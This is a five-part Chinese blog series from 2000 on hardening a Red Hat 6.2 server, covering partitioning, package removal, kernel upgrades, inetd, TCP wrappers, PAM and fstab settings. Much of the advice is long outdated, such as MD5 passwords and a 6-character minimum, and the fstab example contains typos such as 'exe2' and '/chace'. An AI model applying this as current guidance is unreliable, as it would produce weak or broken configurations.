自己架一個安全的伺服器環境(一)
張貼:matt 發表於 Thursday, November 09 @ 17:50:01 CST
這一陣子看了很多與系統安全相關的文件,發現自己以前架的網站,真的真很不安全。所以就想花些時間,好好的架一個安全的伺服器。
我會把安裝的過程寫下來放在網站上,安裝的過程會分好幾部份,大家就慢慢看了。
我主要參考的文件的是Gerhard Mourani寫的Securing and Optimizing Linux: RedHat Edition v1.3
大家可以在文章、檔案下載這裡找到
安裝方式和方法
我們選擇「自定義」安裝,這樣你可以選擇安裝什麼伺服器軟體以及如何劃分你的硬碟。
我們的目標是安裝儘可能少的軟體,以保證系統的高效率。而且,安裝的軟體越少,安全漏洞也就越少。
選擇「Custom 」,繼續安裝。
劃分硬碟分區
我們使用三顆9GB的SCSI硬碟,並用RAID 3,所以有16GB左右可以使用。
劃分的Partitions如下:
/boot 15M 放Linux核心影像檔 (Kernal Image)
/usr 1024M 存放 Linux系統的許多軟體的所在分區。根據你要安裝軟體的數量來組態,這個分區一般在300MB到700MB之間。
/usr/local 2048M 存放與Red Hat Linux系統不同的軟體,例如,不是RPM包的軟體,而是TGZ或TAR的套裝軟體。其空間的大小取決於準備存放的這些軟體的數量。
/usr/src 512M 在一個Red Hat Linux系統中,/usr/src通常存放兩樣東西:
一個是核心的原始碼:Linux的所有原始碼都放在這裡,新的核心也在這裡建立。目前,核心原始碼大約佔50MB的空間。當你需要更多的空間來建立核心 時,或者要存檔幾個不同版本的核心的時候,就要考慮加大該分區的空間。
另一個是RPM包的原始程式:如果安裝了RPM的原始程式,文件將存放在這裡。這個分區的大小也取決於將在這裡安裝的套裝軟體的數量。
/home 2000M 衡量機器上會有多少使用者,每個配多少MB(例: 每個 users 50MB, 預計20個,共 = 1000MB)。這裡不考慮web與ftp的空間,因為不放這裡。
/chroot 9000M 配給要安裝在chroot環境執行的程式 (例:Apache、Mysql、Sendmail、ftp).
/cache 512M 給proxy server的chche空間 (i.e. Squid).
/var 1024M Red Hat Linux系統將把日誌寫在/var/log。列印佇列的文件通常寫在/var/spool。除非特別群群組態,/var將是根文件系統的一部分,通常不 佔很多空間。如果系統常做列印、寄郵件或者日誌,可以考慮專門建立一個/var分區。一般來講,只有多用戶或者伺服器才需要專門的/var分區。
256M swap partition, 交換分區用來負責系統的資料交換,相當於DOS/Windows下的虛擬記憶體,當記憶體不夠用時,系統就會把暫時的程式資料在交換分區上存取。在 Linux下,交換分區是必需的,不管你的記憶體有多大,即使你有128MB的記憶體,也需要至少一個交換分區。
/tmp 512M 用來存放臨時的文件。對於一個大型的、多用戶的系統或者網路伺服器,專門建立一個/tmp分區是一個好主意。對於一個專門的工作站,就不必專門建立一個 /tmp分區了。
/ 512M 根分區即根目錄(/)所在的分區。它只需要啟動系統所必需的文件(如核心文件)和系統群群組態文件,大多數系統50MB到100MB的根分區可以工作得很 好。
現在,選擇"Next"繼續安裝。分區建立完之後,安裝程式會讓你選擇要格式化的分區。選擇想要格式化的分區,選中"Check for bad blocks during format"選擇框,按"Next"繼續。
下一步如果選擇安裝LILO,你會看到LILO的組態。可以選擇把LILO裝在主開機磁區(MBR)或開機分區的第一個磁區。 在通常情況下,應該選擇把LILO安裝在主開機磁區。(如果你的電腦上裝有NT,或一些多重開機程式,如System Command、Boot Manager,你最好仔細看一遍LILO-HOWTO,以免不必要的損失)。
然後,開始組態網路和時鐘。選擇 Asia/Taipei
接著,要輸入root密碼、增加使用者和進行安全驗證的組態。不要忘了選上:
Enable MD5 passwords
Enable MD5 passwords
沒有必要選擇Enable NIS,因為我們不在這台伺服器上安裝NIS服務。
自己架一個安全的伺服器環 境(二)
張貼:matt 發表於 Wednesday, November 15 @ 00:42:15 CST
套件安裝(選擇套件群群組)
上面都完成了之後,該選擇安裝哪些套裝軟體了。在一般情況下,Linux是一個強大的作業系統,可以提供很多服務。但是,這些服務大多數都是沒有必要 的,而且會造成安全隱憂。
理想的情況下,每個台主機應專注與單一目的的提供網路服務。很多的Linux機器預設就被安裝了一堆的服務與應用程式,可是真正有使用到的只是某幾種 特定的網路服務。所以我們在設定時,會將系統內不需要的程式排除。只在特定用途的主機上安裝必須的服務可以確保你的網路安全,下列列舉幾項優點:
駭客無法使用其它有漏洞的服務來攻擊主機。
不同的人可以管理不同的服務與主機。透過分散與隔離服務的方式,減少與最小化不同服務與主機的管理者間發生衝突的可能性。
主機可以被最佳化設定成符合特定的服務。
經由減少服務,所以系統日誌的數量也跟著少了,那在檢查非預期事件的工作就變的簡單多了。
安裝Linux的正確方法是:安裝一個穩定和安全的系統。首先,你要選擇必須安裝的部件,也就是套裝軟體群群組。選擇"Select individual package"這個選項,在後面的安裝過程中,你可以選中或不選單獨的套裝軟體。
因為我們安裝的是Linux伺服器,所以沒有必要安裝圖形介面(XFree86)。在伺服器上安裝圖形介面意味著:更低的處理能力,更少的CPU時 間,更少的記憶體,更多的安全問題,以及等等。圖形介面一般只在工作站上使用。
選擇安裝下面的套裝軟體群群組:
Networked Workstation
Network Management Workstation
Utilities
選擇好套件群群組之後,就應該選擇單獨的軟體了。 注意:選上"Select individual package"單選框(非常重要),因為只有這樣才會讓你選擇安裝單獨的軟體。
選擇單獨的軟體
取消安裝下面列出的軟體。
Applications/File: git
Applications/Internet: finger, ftp, fwhois, ncftp, rsh, rsync, talk, telnet
Applications/Publishing: ghostscript, ghostscript-fonts, groff-perl, mpage, pnm2ppa, rhs-printfilters
Applications/System: arpwatch, bind-utils, rdate, rdist, screen, ucd-snmp-utils
Documentation: indexhtml
System Environment/Base: chkfontpath, yp-tools
System Environment/Daemons: XFree86-xfs, finger-server, lpr, nfs-utils, pidentd, portmap, rsh-server, rusers, rusers-server, rwall-server, rwho, talk-server, telnet-server, tftp-server, ucd-snmp, ypbind, ypserv
System Environment/Libraries: XFree86-libs, libpng
安裝完伺服器之後必須移除的軟體
RedHat Linux在一般情況下會安裝一些預設的軟體,而且在安裝的過程中,不能夠選擇不安裝。因此,必須在安裝完成之後移除下面這些軟體:
pump mt-st eject mailcap apmd kernel-pcmcia-cs linuxconf getty_ps isapnptools setserial kudzu raidtools gnupg redhat-logos redhat-release gd pciutils rmt
apmd、kudzu和sendmail是daemon程序,在移除它們之前最好先停止這些程序。 停止這些程序用如下的命令: [root@deep]# /etc/rc.d/init.d/apmd stop
[root@deep]# /etc/rc.d/init.d/sendmail stop
[root@deep]# /etc/rc.d/init.d/kudzu stop
移除這些套裝軟體。
[root@deep /]# rpm -e --nodeps pump mailcap apmd kernel-pcmcia-cs getty_ps isapnptools setserial gnupg redhat-logos redhat-release pciutils rmt
註:mt-st eject linuxconf kudzu raidtools gd 這幾個自己會用到所以沒有移除,為何要移除,請參見 SOL page31
kdbconfig、mouseconfig和timeconfig是用來設置鍵盤類型、滑鼠類型和時區的。在這些都設置好之後,就很少有機會再用到它們 了。所以,可以把它們移除掉。等需要改變鍵盤、滑鼠和時區的時候,可以再從CD-ROM用rpm命令安裝。
使用下面的命令移除
[root@deep /]# rpm -e kbdconfig mouseconfig timeconfig authconfig ntsysv setuptool
sendmail、procmail和mailx在通常情況下是必須要的。因為伺服器上運行的各種各樣的服務會用到這些程式送訊息給root用戶,以建立 系統日誌(syslog)。
sendmail是一個強大的郵件傳送代理(Mail Transport Agent,簡稱MTA),可以把郵件從一台電腦發送到另一台電腦。它實際上所起的作用就是通過網路或Internet把email傳送到email的目 的地。sendmail有很多不同的配置方式:可以做為一個把郵件轉給郵件集中伺服器(Mail Hub Server)的內部郵件伺服器,也可以做為單獨的mail伺服器,或者做為網路上所有sendmail伺服器的中央郵件集中伺服器(Central Mail Hub Server)。因此,可以根據需要配置不同的sendmail伺服器。所以,你要先把sendmail移除掉,根據需要建立自己的sendmail伺服 器。
sendmail並不是自己處理郵件的分發,它是通過運行其他程式來完成這項工作。procmail是RedHat Linux用於本地郵件分發的分發代理(delivery agent)。因此,procmail只要裝在中央郵件集中伺服器(Central Mail Hub Server)上就行了。所以,沒有必要在內部所有運行sendmail服務的電腦上都安裝procmail程式。因為,這些內部的電腦會通過"/bin /mail"或sendmail把郵件轉發到中央郵件集中伺服器上。
使用下面的命令移除 sendmail
[root@deep /]# rpm -e sendmail
安裝完伺服器之後必須安裝的軟體
為了讓我們可以伺服器上編譯軟體,還必須安裝下面的RPM套裝軟體。所有的這些軟體都在RedHat 6.2第一張光碟的"/RedHat/RPMS"目錄下,而且都是使你的Linux系統能夠編譯程序所必須要的。
◎第一步 首先 mount 上CD-ROM,並變換目錄"RPMS"子目錄下。
mount上CD-ROM驅動器和轉到RPMS目錄用下面的命令:
[root@deep]# mount /dev/cdrom /mnt/cdrom/
[root@deep]# cd /mnt/cdrom/RedHat/RPMS/
下面是我們需要安裝的套裝軟體,只有安裝了這些套裝軟體才在Linux系統上編譯程序。請記住,這不過是能夠編譯".tar.gz"軟體最少必須的套裝軟 體。有一些軟體的編譯可能還需要用到別的特殊的套裝軟體。這些特殊的套裝軟體在RedHat的光碟中都能找到。所以,編譯程序的時候,如果出錯了,可以先 看看需要編譯的套裝軟體的README文件。
autoconf-2.13-5.noarch.rpm
m4-1.4-12.i386.rpm
automake-1.4-6.noarch.rpm
dev86-0.15.0-2.i386.rpm
bison-1.28-2.i386.rpm
byacc-1.9-12.i386.rpm
cdecl-2.5-10.i386.rpm
cpp-1.1.2-30.i386.rpm
cproto-4.6-3.i386.rpm
ctags-3.4-1.i386.rpm
egcs-1.1.2-30.i386.rpm
ElectricFence-2.1-3.i386.rpm
flex-2.5.4a-9.i386.rpm
gdb-4.18-11.i386.rpm
kernel-headers-2.2.14-5.0.i386.rpm
glibc-devel-2.1.3-15.i386.rpm
make-3.78.1-4.i386.rpm
patch-2.5-10.i386.rpm
注意:最好把這些軟體一起全裝了,省得在安裝這些RPM包的時候總出現一些相關出錯的資訊。
◎第二步 安裝所有這些軟體只要用一個命令就夠了。這個命令是:
[root@deep RPMS]# rpm -Uvh autoconf-2.13-5.noarch.rpm m4-1.4-12.i386.rpm automake-1.4-6.noarch.rpm dev86-0.15.0-2.i386.rpm bison-1.28-2.i386.rpm byacc-1.9-12.i386.rpm cdecl-2.5-10.i386.rpm cpp-1.1.2-30.i386.rpm cproto-4.6-3.i386.rpm ctags-3.4-1.i386.rpm egcs-1.1.2-30.i386.rpm ElectricFence-2.1-3.i386.rpm flex-2.5.4a-9.i386.rpm gdb-4.18-11.i386.rpm kernel-headers-2.2.14-5.0.i386.rpm glibc-devel-2.1.3-15.i386.rpm make-3.78.1-4.i386.rpm patch-2.5-10.i386.rpm
◎第三步 為了讓所有的改變都生效,必須退出再重新登入。
退出的命令是:
[root@deep]# exit
安裝和編譯完在伺服器上需要的所有軟體之後,最好把上面幾步安裝的套裝軟體都移除,除非有什麼特殊的需要。這樣做,其中一個原因是:如果黑客成功地入侵了 你的伺服器,他也不可能用上面這些軟體來編譯軟體或改變二進位程式。同時,把它們移除掉也釋放了很多磁碟空間,這樣當進行系統的安全性和一致性檢查的時 候,可以加快掃瞄所有文件的時間(文件少了)。
當然,有很多建立伺服器的方法和策略,觀點如下:
第一:每台伺服器最好只安排一個特定的任務。你不應該把所有的服務都放在一台伺服器上,否則,這台伺服器的速度會受到影響(系統的資源要同時分給很多個程 序),而且會降低系統的安全(在同一台伺服器上運行太多的服務,黑客就有更多的機會找到系統的安全漏洞)。
第二:不同的伺服器完成不同的任務。這樣有利於簡化管理(你可以清楚地知道每台服務器具體的用途、運行哪些服務、客戶電腦(client)可以訪問哪些 埠,你也可以知道在日誌文件中會看到什麼,等等),而且還可以更好更靈活地控制每台伺服器(專門用於郵件、Web、資料庫、開發、備份,等等)。
舉一個例子,一台專門用作開發和測試的伺服器,就沒有必要像上面介紹的那樣,每一次裝軟體之前都要先裝編譯器,裝完軟體之後又把編譯器移除,完全可以把編 譯器保留著。如果想知道更多的編譯器的資訊,請參考Securing and Optimizing Linux -- Chapter 9 Compiler Functionality。
自己架一個安全的伺 服器環境(三)
張貼:matt 發表於 Wednesday, November 15 @ 00:45:18 CST
保持軟體最新(最安全)的版本
為了使你的軟體保持最新的版本,請定期查看RedHat Linux的勘誤網頁:http://www.redhat.com/support/errata/。勘誤網頁通常可以解決90% RedHat Linux的系統問題。而且,RedHat在得到安全漏洞的通知之後,如果已經找到解決方案了,就會在24小時之內,在勘誤網站上發佈出來。必須經常查看 這個地方。
在我們安裝的RedHat Linux6.2伺服器內,現在必須更新的軟體是(2000/11/13止):
dump-0.4b19-5.6x.i386.rpm
glibc-2.1.3-21.i386.rpm
glibc-devel-2.1.3-21.i386.rpm
gpm-1.19.3-0.6.x.i386.rpm
iputils-20001010-1.6x.i386.rpm
mailx-8.1.1-16.i386.rpm
man-1.5h1-2.6.x.i386.rpm
pam-0.72-20.i386.rpm
popt-1.5-9.6x.i386.rpm
sysklogd-1.3.31-17.i386.rpm
textutils-2.0e-6.i386.rpm
tmpwatch-2.6.2-1.6.2.i386.rpm
traceroute-1.4a5-24.6x.i386.rpm
kernel-2.2.16-22.i386.rpm(*4)
kernel-smp-2.2.16-22.i386.rpm(*4)
kernel-headers-2.4.0-0.26.i386.rpm(*4)
kernel-utils-2.2.16-22.i386.rpm(*4)
註:
在安裝完時,我才突然發現竟然沒有方式可將我要加裝的軟體拷貝這台機器上,所以我又把 samba 這程式給裝了上去了,這樣我才能將要加裝或更新的軟體拷到伺服器上。記得在您不需要安裝軟體到伺服器時,最好將 samba 移除。當然還有其它方式可以透過網路將軟體拷貝到伺服器上(例如:ftp),不管你用何種方式,記得不用時,將之移除。
為了用更安全的方式來安裝與設定軟體,所以當您至RedHat網站的勘誤網頁,上面列出需要更新的軟體中,有些我們用自行編譯方式安裝,並不使用RPM來 安裝。例如:wu-ftpd 、sendmail、bind
查詢尚未安裝套件的摘要資訊時,可利用 rpm -qpi
更新Kernel-2.2.14版本的漏洞
更新Redhat6.2的核心版本(RPM方式)
由於我們安裝的redhat6.2內含的核心版本是 kernel-2.2.14-14-5.0 ,Linux 核心至 2.2.15 以前的版本﹐都含有一個嚴重的臭蟲,這個漏洞只要系統裡有 setuid root 的程式,就可能被利用。主要問題發生在一個少有說明的函式 - setcap,setcap 函式可以讓使用者獲得任意 setuid 程式的能力,進而入侵系統。全文出處將有詳細的說明。 Linux 2.2.16 核心改版摘要 、下面的比較粗略的安裝方式,詳細的安裝參見 upgrading the kernel How To 。
第一步:做一片緊急開機磁片(假如沒有做過)
先查看 /etc/lilo.conf 的內容,依照你原本使用的核心版本,即預設映印象的 image=/boot/vmlinuz-2.x.x.x 設定,決定開機磁片的核心版本。
[root@deep /]# cat /etc/lilo.conf
boot=/dev/sda
map=/boot/map
install=/boot/boot.b
prompt
timeout=50
linear
default=linux
image=/boot/vmlinuz-2.2.14-5.0smp
label=linux
initrd=/boot/initrd-2.2.14-5.0smp.img
read-only
root=/dev/sda10
image=/boot/vmlinuz-2.2.14-5.0
label=linux-up
initrd=/boot/initrd-2.2.14-5.0.img
read-only
root=/dev/sda10
執行下列命令來建立
[root@deep /]# mkbootdisk --device /dev/fd0 2.2.14-5.0smp
Insert a disk in /dev/fd0. Any information on the disk will be lost.
Press to continue or ^C to abort:
建議你利用做好的這一片磁片重開機 ,確定它是沒問題的。
第二步:下載新版的核心
下面這幾個檔案是在2000/11/14止,我所找到穩定且最新的版本。
kernel-2.2.16-22.i386.rpm
kernel-headers-2.4.0-0.26.i386.rpm
kernel-smp-2.2.16-22.i386.rpm (for 雙CPU的kernel)
kernel-utils-2.2.16-22.i386.rpm
註:您可以依機器CPU的等級,下載586或686的版本。
第三步:Installing the Kernel
使用下列的命令來檢查RPM是否沒有問題
[root@deep /tmp]# rpm -K --nogpg kernel-2.2.16-22.i386.rpm kernel-headers-2.4.0-0.26.i386.rpm kernel-smp-2.2.16-22.i386.rpm kernel-utils-2.2.16-22.i386.rpm
kernel-2.2.16-22.i386.rpm: md5 OK
kernel-headers-2.4.0-0.26.i386.rpm: md5 OK
kernel-smp-2.2.16-22.i386.rpm: md5 OK
kernel-utils-2.2.16-22.i386.rpm: md5 OK
使用下列的命令來安裝
[root@deep /tmp]# rpm -Uvh kernel-2.2.16-22.i386.rpm kernel-headers-2.4.0-0.26.i386.rpm kernel-smp-2.2.16-22.i386.rpm kernel-utils-2.2.16-22.i386.rpm
第四步:建立開機時要載入的 ramdisk 映像檔
再次確認要建立 ramdisk 的核心檔名
[root@deep /]#ls -l /boot/vmlinuz*
lrwxrwxrwx 1 root root 20 Nov 13 22:01 /boot/vmlinuz -> vmlinuz-2.2.16-22smp
-rw-r--r-- 1 root root 627392 Aug 23 04:56 /boot/vmlinuz-2.2.16-22
-rw-r--r-- 1 root root 655177 Aug 23 04:47 /boot/vmlinuz-2.2.16-22smp
使用下列的命令來建立
[root@deep /]#mkinitrd /boot/initrd-2.2.16-22.img 2.2.16-22
[root@deep /]#mkinitrd /boot/initrd-2.2.16-22smp.img 2.2.16-22smp
第五步:修改 lilo.conf
修改 /etc/lilo.conf,變成如下的內容:
boot=/dev/sda
map=/boot/map
install=/boot/boot.b
prompt
timeout=50
linear
default=linux-2.2.16smp
image=/boot/vmlinuz-2.2.16-22smp
label=linux-2.2.16smp
initrd=/boot/initrd-2.2.16-22smp.img
read-only
root=/dev/sda10
image=/boot/vmlinuz-2.2.16-22
label=linux-2.2.16
initrd=/boot/initrd-2.2.16-22.img
read-only
root=/dev/sda10
註:因為我們的機器是雙CPU、SCSI的HD,所以上面的設定會出現 smp 與 sda 等字眼,若您的機器是單CPU、IDE HD,則設定檔內容會有些不同。
第六步:將 lilo 設定的變更寫入開機磁區
使用下列的命令
[root@deep /]#lilo -v
LILO version 21, Copyright 1992-1998 Werner Almesberger
Reading boot sector from /dev/sda
Merging with /boot/boot.b
Boot image: /boot/vmlinuz-2.2.16-22smp
Mapping RAM disk /boot/initrd-2.2.16-22smp.img
Added linux-2.2.16smp *
Boot image: /boot/vmlinuz-2.2.16-22
Mapping RAM disk /boot/initrd-2.2.16-22.img
Added linux-2.2.16
/boot/boot.0800 exists - no backup copy made.
Writing boot sector.
第七步:重新開機
重新開機前,記得確認一下之前的步驟都做對了,不然開不了機就麻煩了。要是真的開不了機,請利用緊急開機磁片開機,重新設定。
自己架一個安全的伺 服器環境(四)
張貼:matt 發表於 Tuesday, November 21 @ 00:51:23 CST
安裝完後的系統安全概要
現在我們己經安裝了一台基本的Linux服伺器該有的環境了,再來就是一些系統安全的設定了。
在Securing and Optimizing Linux的第三章講了很多,主要是在討論一些保證伺服器安全的一般方法。書中有些部份是觀念上的說明,我就不寫了,下面是實作如何避免來自外部和內部的 攻擊相關的作法。繼續做下去了喔!
1. BIOS安全,設定開機密碼
2. 密碼
◎密碼至少要有6個字元,最好包含一個以上的數位或特殊字元。
◎密碼不能太簡單,所謂的簡單就是很容易猜出來,也就是用自己的名字,電話號碼、生日、職業或者其他個人資訊作為密碼。
◎密碼必須是有有效期的,在一段時間之後就要更換密碼。
◎密碼在這種情況下必須作廢或者重新設定:如果發現有人試圖猜測你的密碼,而且已經試過很多次了。
3. 密碼長度
編輯"/etc/login.defs"檔案,把最小密碼長度由5改成8。
找到 PASS_MIN_LEN 5 這一行,改為:PASS_MIN_LEN 8 。
"login.defs"是很重要的設定檔。可以在這個檔案中設定一些其他的安全策略,比如:密碼的有效期。
4. 設定 root 帳號的 login timeout 時間
編輯"/etc/profile"檔案,找到 HISTSIZE=XXXX 這行,並在下面加入
TMOUT=1800
這個參數是用來設定 root 帳號的 login timeout 時間,其以秒為單位,如1800便是表示30分(60秒*30分)。
5. 禁止使用控制臺程式與禁止控制臺的存取
在 Securing and Optimizing Linux 的 45 頁有提到之兩項,但我實在看不太懂這樣做的真正原因,看的懂的人可以告訴我一知嗎? 請來信 mattli@mxtpa.biglobe.net.tw
6. 修改"/etc/inetd.conf"檔案
inetd,也叫作"super demon",它會根據網路上來的請求載入相對應的網路服務程式。"inetd.conf"檔案告訴inetd監聽哪些網路埠,為每個埠啟動相對應的服 務。
把Linux系統放在任何的網路環境中,第一件要做的事就是瞭解一下伺服器到底要提供哪些服務。不需要的那些服務應該被停掉,最好將該服務的程式移除,這 樣黑客就更少了一些攻擊系統的機會。
查看"/etc/inetd.conf"檔案,瞭解一下inetd提供哪些服務。用加上註釋的方法(在一行的開頭加上#號),停止任何不需要的服務,再送 給inetd程序一個SIGHUP信號(即重新啟動inetd)。
第一步:把檔案的權限改成600。
[root@deep]# chmod 600 /etc/inetd.conf
第二步:確定檔案的所有者是root。
[root@deep]# stat /etc/inetd.conf
這個命令顯示出來的資訊應該會如下:
File: "/etc/inetd.conf"
Size: 3027 Filetype: Regular File
Mode: (0600/-rw-------) Uid: ( 0/ root) Gid: ( 0/ root)
Device: 8,10 Inode: 26596 Links: 1
Access: Fri Nov 17 11:08:06 2000(00000.00:33:37)
Modify: Mon Nov 13 11:43:28 2000(00003.23:58:15)
Change: Fri Nov 17 11:40:34 2000(00000.00:01:09)
第三步:編輯"inetd.conf"檔案(vi /etc/inetd.conf),停止所有不需要的服務,如:ftp、 telnet、 shell、 login、 exec、talk、ntalk、 imap、 pop-2、pop-3、finger、auth、linuxconf,等等。如果你真的需要某些服務,可以不停止這些服務。但是,把這些服務停止,系統 受攻擊的可能性就會小很多。
改變了"inetd.conf"檔案之後,別忘了重新啟動 inetd 程序。
[root@deep /root]# killall -HUP inetd
或
[root@deep /root]# /etc/rc.d/init.d/inetd restart
第四步: 為了保證"inetd.conf"檔案的安全,可以用chattr命令把它設成不可改變。
把檔案設成不可改變的只要用下面的命令:
[root@deep]# chattr +i /etc/inetd.conf
這樣可以避免"inetd.conf"檔案的任何改變(意外或是別的原因)。一個有"i"屬性的檔案是不能被改動的:不能刪除或重命名,不能建立這個檔案 的鏈結,不能往這個檔案裡寫資料。只有系統管理員才能設置和清除這個屬性。如果要改變inetd.conf檔案,你必須先清除這個不允許改變的標誌:
[root@deep]# chattr -i /etc/inetd.conf
註:現在有一個比較安全且有效率的 Xinetd ,可以用來取代 inetd,它有下列的優點
Provide access control mechanisms
Prevent denial of service attacks
Extensive logging abilities
Offload services to a remote host
Make services available based on time
Limits on the number of servers that can be started
IPv6 support
User interactio
你可以在 http://www.xinetd.org/ 找到更多的資訊。
7. TCP_WRAPPERS
在"/etc/hosts.deny"檔案中加入"ALL: ALL@ALL, PARANOID"以拒絕所有電腦訪問你的伺服器,然後在"/etc/hosts.allow"檔案中一個一個加入允許訪問你的伺服器的電腦。這種作法是 最安全的。
第一步:編輯hosts.deny檔案(vi /etc/hosts.deny)加入下面這些行:
ALL: ALL@ALL, PARANOID
第二步:編輯"hosts.allow"檔案(vi /etc/hosts.allow)。例如,可以加入下面這些行(被授權訪問的電腦要被明確地列出來):
sshd: 208.164.186.1 gate.openarch.com
第三步:執行tcpdchk檢查TCP_WAPPERS配置的程式。
[root@deep]# tcpdchk
8. "/etc/aliases"檔案
編輯aliases檔案(vi /etc/aliases),刪除或註釋掉下面這些行:
#games: root
#ingres: root
#system: root
#toor: root
#uucp: root
#manager: root
#dumper: root
#operator: root
#decode: root
#root: marc
別忘了運行"/usr/bin/newaliases"使改變生效。
9. 不要顯示系統提示資訊
如果你不想讓遠端登錄的用戶看到系統的提示資訊,你可以改變"/etc/inetd.conf"檔案中的telnet設置:
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd -h
在末尾加上"-h"參數可以讓daemon不顯示任何系統資訊,只顯示登錄提示。當然,只有在伺服器上裝了telnet伺服器才有這樣做的必要。
10. "/etc/host.conf"檔案
編輯"host.conf"檔案(vi /etc/host.conf)加入下面這些行:
# Lookup names via DNS first then fall back to /etc/hosts.
order bind,hosts
# We have machines with multiple IP addresses.
multi on
# Check for IP address spoofing.
nospoof on
11. "/etc/services"檔案
[root@deep]# chattr +i /etc/services
12. "/etc/securetty"檔案
註釋掉(在這一行的開頭加上#號)所有你想不讓root登錄的tty設備。
編輯securetty檔案(vi /etc/securetty)象下面一樣,註釋掉一些行:
#tty1
#tty2
#tty3
tty4
#tty5
#tty6
#tty7
#tty8
上面這樣做的意思是只允許root在tty4上登錄。我建議只允許root在一個tty設備上登錄,如果從其他tty上登錄,用"su"命令把身份轉 成"root"。
13. 特殊的帳號
停止作業系統中不必要的預置帳號(每次升級或安裝完都要檢查一下)。Linux系統中就提供這樣一些你可能不需要的預置帳號。如果確實不需要這些帳號,就 把它們刪掉。系統中有越多的帳號,就越容易受到攻擊。
第一步
用下面的命令刪除一些不必要的用戶:
[root@deep]# userdel adm
[root@deep]# userdel lp
[root@deep]# userdel sync
[root@deep]# userdel shutdown
[root@deep]# userdel halt
[root@deep]# userdel news
[root@deep]# userdel uucp
[root@deep]# userdel operator
[root@deep]# userdel games (如果不用X Window伺服器,可以刪除這個用戶)
[root@deep]# userdel gopher
[root@deep]# userdel ftp (如果沒安裝匿名ftp伺服器,可以刪除這個用戶)
第二步
輸入下面的命令刪除一些不必要的群組:
[root@deep]# groupdel adm
[root@deep]# groupdel lp
[root@deep]# groupdel news
[root@deep]# groupdel uucp
[root@deep]# groupdel games (如果不用X Window伺服器,可以刪除這個群組)
[root@deep]# groupdel dip
[root@deep]# groupdel pppusers
[root@deep]# groupdel popusers (如果不用pop 伺服器,可以刪除這個群組)
[root@deep]# groupdel slipusers
第三步
在系統中加入必要的用戶:
例如:
[root@deep]# useradd admin
[root@deep]# passwd admin
這些命令的輸出是這樣的:
Changing password for user admin
New UNIX password: somepasswd
passwd: all authentication tokens updated successfully
第四步
"不允許改變"位可以用來保護檔案使其不被意外地刪除或重寫,也可以防止有些人建立這個檔案的符號連接。刪除"/etc/passwd"、"/etc /shadow"、"/etc/group"或"/etc/gshadow"都是黑客的攻擊方法。
替密碼檔案和群組設定檔設置不可改變屬性,可以用下面的命令:
[root@deep]# chattr +i /etc/passwd
[root@deep]# chattr +i /etc/shadow
[root@deep]# chattr +i /etc/group
[root@deep]# chattr +i /etc/gshadow
注意:如果將來要在密碼或群組設定檔中增加或刪除用戶,就必須先拿掉這些檔案的不可改變屬性,否則就不能做任何改變。如果沒有清除這些檔案的不可改變屬 性,安裝那些會自動在密碼檔案和組檔案中加入新用戶的rpm套裝軟體的時候,在安裝過程中就會出現出錯的提示。
13. 防止任何人都可以 su 成為root
第一步
編輯su文件(vi /etc/pam.d/su)在文件的頭部加入下面兩行:
auth sufficient /lib/security/pam_rootok.so debug
auth required /lib/security/pam_wheel.so group=wheel
加入這兩行之後,"/etc/pam.d/su"文件變成:
#%PAM-1.0
auth sufficient /lib/security/pam_rootok.so debug
auth required /lib/security/pam_wheel.so group=wheel
auth required /lib/security/pam_pwdb.so shadow nullok
account required /lib/security/pam_pwdb.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_pwdb.so shadow use_authtok nullok
session required /lib/security/pam_pwdb.so
session optional /lib/security/pam_xauth.so
這兩行的意思是只有"wheel"群組的成員才能用su命令成為root。注意,"wheel"群組是系統中用於這個目的的特殊帳號。不能用別的群組 名。
第二步
我們在"/etc/pam.d/su"配置文件中定義了"wheel"群組,現在介紹一下怎樣讓一些用戶可以用"su"命令成為"root"。下面是一個 例子,讓admin用戶成為"wheel"群組的成員,這樣就可以用"su"命令成為"root":
[root@deep]# usermod -G10 admin
"G"是表示用戶所在的其他群組。"10"是"wheel"群組的ID值,"admin"是我們加到"wheel"群組的用戶。用同樣的命令可以讓其他的 用戶可以用su命令成為root。
14. 加強 PAM 記錄登入錯誤訊息
編輯 /etc/pam.d/other 加入下面粗體的那兩行
auth required /lib/security/pam_warn.so
auth required /lib/security/pam_deny.so
account required /lib/security/pam_deny.so
password required /lib/security/pam_warn.so
password required /lib/security/pam_deny.so
session required /lib/security/pam_deny.so 未完,續待......^_^
自己架一個安全的伺 服器環境(五)
張貼:matt 發表於 Monday, November 27 @ 17:42:07 CST
繼續之前的自己架一個安全的伺服器環境(四)--安裝完後的系統安全概要
15. 資源限制 ~ 21. 建立所有重要的日誌文件的硬拷貝
15. 資源限制
第一步
編輯"limits.conf"檔案(vi /etc/security/limits.conf),加入或改變下面這幾行:
* hard core 0
* hard rss 5000
* hard nproc 20
這些行的的意思是:"core 0"表示禁止建立core檔案;"nproc 20"把最多程式數限制到20;"rss 5000"表示除了root之外,其他用戶都最多只能用5M記憶體。上面這些都只對登入到系統中的用戶有效。通過上面這些限制,就能更好地控制系統中的用 戶對程式、core檔案和記憶體的使用情況。星號"*"表示的是所有登入到系統中的用戶。
第二步
必須編輯"/etc/pam.d/login"檔案,在檔案末尾加入下面這一行:
session required /lib/security/pam_limits.so
加入這一行後"/etc/pam.d/login"檔案是這樣的:
#%PAM-1.0
auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_pwdb.so shadow nullok
auth required /lib/security/pam_nologin.so
account required /lib/security/pam_pwdb.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_pwdb.so nullok use_authtok md5 shadow
session required /lib/security/pam_pwdb.so
session required /lib/security/pam_limits.so
#session optional /lib/security/pam_console.so
16. 對 mount 的檔案系統做更好的控制
可以用一些選項,如:noexec、nodev和nosuid,對 mount 的檔案系統做更好的控制,如:"/home"和"/tmp"。這些都在"/etc/fstab"檔案中設定。fstab檔案包含了各個檔案系統的描述資 訊。如果想知道在這個檔案中可以設定哪些選項,請用man命令查看關於mount(8)的輔助敘述。
編輯 fstab檔案(vi /etc/fstab),並根據需要把這兩行:
/dev/sda9 /tmp ext2 defaults 1 2
/dev/sda6 /home ext2 defaults 1 2
/dev/sda11 /chace ext2 defaults 1 2
改變成:
/dev/sda9 /tmp ext2 defaults,rw,nosuid,nodev,noexec 1 2
/dev/sda6 /home ext2 defaults,rw,nosuid,nodev 1 2
/dev/sda11 /chace exe2 defaults,rw,nosuid,nodev,noexec 1 2
"nodev"表示不允許在這個檔案系統上有字元或特殊的塊設備。
